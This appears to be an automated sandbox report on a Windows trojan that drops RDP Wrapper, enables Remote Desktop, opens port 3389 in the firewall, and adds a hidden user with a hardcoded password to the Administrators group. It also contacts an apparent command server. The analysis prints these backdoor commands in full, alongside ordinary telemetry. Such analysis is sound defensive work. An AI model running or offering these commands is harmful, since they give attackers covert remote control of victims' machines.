Source: file.exe, 00000000.00000002.2507908437.0000000007A40000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.2500379278.0000000001602000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: file.exe, 00000000.00000002.2507908437.0000000007A40000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.2500379278.0000000001602000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: file.exe, 00000000.00000002.2500984157.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RDPWInst.exe, RDPWInst.exe, 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://stascorp.com/load/1-1-0-62
Source: file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.10.dr	String found in binary or memory: http://stascorp.comDVarFileInfo$
Source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/
Source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://cloudflare-ipfs.com/ipfs/Qmd3W5DuhgHirLHGVixi6V76LhCkZUz6pnFt5AJBiyvHye/avatar/
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus.
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus/issues/115
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus/issues/54
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus/wiki/Bogus-Premium
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus:
Source: file.exe, 00000000.00000002.2507908437.0000000007A40000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/lontivero/Open.Nat/issuesOAlso
Source: file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu
Source: file.exe, 00000000.00000002.2500984157.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/core/receive.php
Source: file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/core/receive.phpd
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://loremflickr.com
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://picsum.photos
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://placeimg.com
Source: RDPWInst.exe	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
Source: RDPWInst.exe, 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU
Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://via.placeholder.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49715 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name: .T"G
Source: file.exe	Static PE information: section name: .}wo

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05765FA8 NtProtectVirtualMemory,	0_2_05765FA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05766080 NtAllocateVirtualMemory,	0_2_05766080
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05765FA1 NtProtectVirtualMemory,	0_2_05765FA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05766079 NtAllocateVirtualMemory,	0_2_05766079

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01599850	0_2_01599850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159C048	0_2_0159C048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01599040	0_2_01599040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01591098	0_2_01591098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159B378	0_2_0159B378
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159BE10	0_2_0159BE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01598EE8	0_2_01598EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159A109	0_2_0159A109
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159D868	0_2_0159D868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159106A	0_2_0159106A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01599031	0_2_01599031
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159BAB0	0_2_0159BAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159DD09	0_2_0159DD09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159BDFF	0_2_0159BDFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01599FF0	0_2_01599FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01599FE0	0_2_01599FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01598EC0	0_2_01598EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0159DEF1	0_2_0159DEF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05766CB8	0_2_05766CB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05762F10	0_2_05762F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05767860	0_2_05767860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05760040	0_2_05760040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05760040	0_2_05760040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05766CA8	0_2_05766CA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05762F02	0_2_05762F02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_057627E8	0_2_057627E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05764601	0_2_05764601
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05769698	0_2_05769698
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0576499A	0_2_0576499A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05768840	0_2_05768840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05760007	0_2_05760007
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_057650E0	0_2_057650E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_057638A0	0_2_057638A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05763890	0_2_05763890
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05765898	0_2_05765898
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05763AF0	0_2_05763AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05763AE0	0_2_05763AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_072E5DB0	0_2_072E5DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_072E5198	0_2_072E5198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_072E54E0	0_2_072E54E0
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0040360C	10_2_0040360C

Source: Joe Sandbox View

Dropped File: C:\Program Files\RDP Wrapper\rdpwrap.dll 798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00406BE0 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00404CDC appears 74 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00407450 appears 135 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 004042F8 appears 74 times

Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBogus.dll, vs file.exe
Source: file.exe, 00000000.00000002.2500311162.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe, 00000000.00000002.2507908437.0000000007A40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOpen.Nat.dll2 vs file.exe
Source: file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamerfxvmt.dllj% vs file.exe
Source: file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRDPWInst.exeB vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs file.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\rdpvideominiport.sys

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f

Source: 0.2.file.exe.5770000.1.raw.unpack, LicenseVerifier.cs

Base64 encoded string: 'vBgOPQiBhRR22ClUzIBJCmxcaOWfuAweUNpodRuZWDn8whviOe4JdA/sjzqw54KGh1qHJIc7JY5sGTCxNZQiSuyZQ6iHK2ykmU0Yb+QBvbqG33x2R7Di8MoNA1Tv2fX7SSny++IKEOQEEvwYhYr6oRU8sVItMcybUjiaaSw1rbU='

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@46/9@2/5

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_0043BF00 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,

10_2_0043BF00

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_0040FAE8 GetDiskFreeSpaceW,

10_2_0040FAE8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_0043DC64 LoadLibraryExW,FindResourceW,LoadResource,FreeLibrary,

10_2_0043DC64

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_0043B1A8 OpenSCManagerW,GetLastError,OpenServiceW,CloseServiceHandle,GetLastError,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,CloseServiceHandle,

10_2_0043B1A8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Program Files\RDP Wrapper

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6728:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Jump to behavior

Source: Yara match	File source: 10.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.2104981738.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NumberOfCores FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RDPWInst.exe	String found in binary or memory: Link: http://stascorp.com/load/1-1-0-62
Source: file.exe	String found in binary or memory: /add

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user BoydKrajcik hDNQhfjKM9S0 /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user BoydKrajcik hDNQhfjKM9S0 /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user BoydKrajcik hDNQhfjKM9S0 /add
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Remote Desktop Users" BoydKrajcik /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" BoydKrajcik /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" BoydKrajcik /add
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Administrators" BoydKrajcik /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" BoydKrajcik /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" BoydKrajcik /add
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user BoydKrajcik hDNQhfjKM9S0 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user BoydKrajcik hDNQhfjKM9S0 /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" BoydKrajcik /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" BoydKrajcik /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" BoydKrajcik /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" BoydKrajcik /add	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
